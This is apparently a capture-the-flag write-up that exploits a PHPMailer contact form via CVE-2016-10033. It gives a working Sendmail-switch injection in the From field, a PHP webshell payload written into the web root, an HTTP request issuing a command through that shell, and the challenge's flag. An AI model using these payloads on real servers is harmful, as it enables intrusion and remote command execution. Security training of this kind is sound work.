← Back to blog

Letter Dispair

A high-profile political individual was a victim of a spear-phishing attack. The email came from a legitimate government entity in a nation we don’t have jurisdiction. However, we have traced the originating mail to a government webserver.

The target is a PHP-based mailer endpoint:

http://167.172.56.144:31476/mailer.php

Recon

Fingerprinting the web server shows an nginx instance serving a directory listing. This tells us we are dealing with a plain PHP application behind nginx, and the directory index suggests we may be able to write and reach files in the web root.

<http://209.97.191.136:30485/> [200 OK] Country[UNITED STATES][US], HTTPServer[nginx], IP[209.97.191.136], Index-Of, Title[Index of /], nginx

Enumeration

The application exposes a mailer.php form that sends email through PHPMailer. This is the classic setup for CVE-2016-10033, a PHP Sendmail command injection via the mail() function. The vulnerability and the technique for abusing it are documented here:

The root cause is that the sender address is passed straight into the fifth argument of mail() (the additional_params), which is forwarded to the Sendmail binary. Because the value is attacker-controlled, we can smuggle extra Sendmail command-line switches:

 return mail(
            $to,
            $subject,
            $this->output,
            implode($this->lf, $headers),
            "-f$from_addr"
        );

Exploitation

By crafting a From address that breaks out of -f and injects Sendmail options, we can control where the mail is queued and written. The -oQ/tmp switch sets the queue directory and -X/var/www/html/shell.php tells Sendmail to log the full transaction (including the message body) to a file inside the web root. We then place PHP code in the To field so it lands in that log file.

The injected sender address that smuggles the Sendmail switches:

From: "attacker\" -oQ/tmp -X/var/www/html/shell.php whatever"@example.com

The payload placed in the recipient field, which gets written verbatim into shell.php:

To: <?php system($_REQUEST['cmd']); ?>

Once the mail is sent, Sendmail writes the transaction log to /var/www/html/shell.php, dropping our PHP webshell into the web root. We can now invoke it directly and pass a command through the cmd parameter. Here we read the flag file:

POST /shell.php HTTP/1.1
Host: 209.97.191.136:30485
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

cmd=cat /flag.txt

Flag

The webshell returns the contents of /flag.txt:

HTB{4_l3tt3r_0f_h0p3_outp4c1ng_d1sp4ir}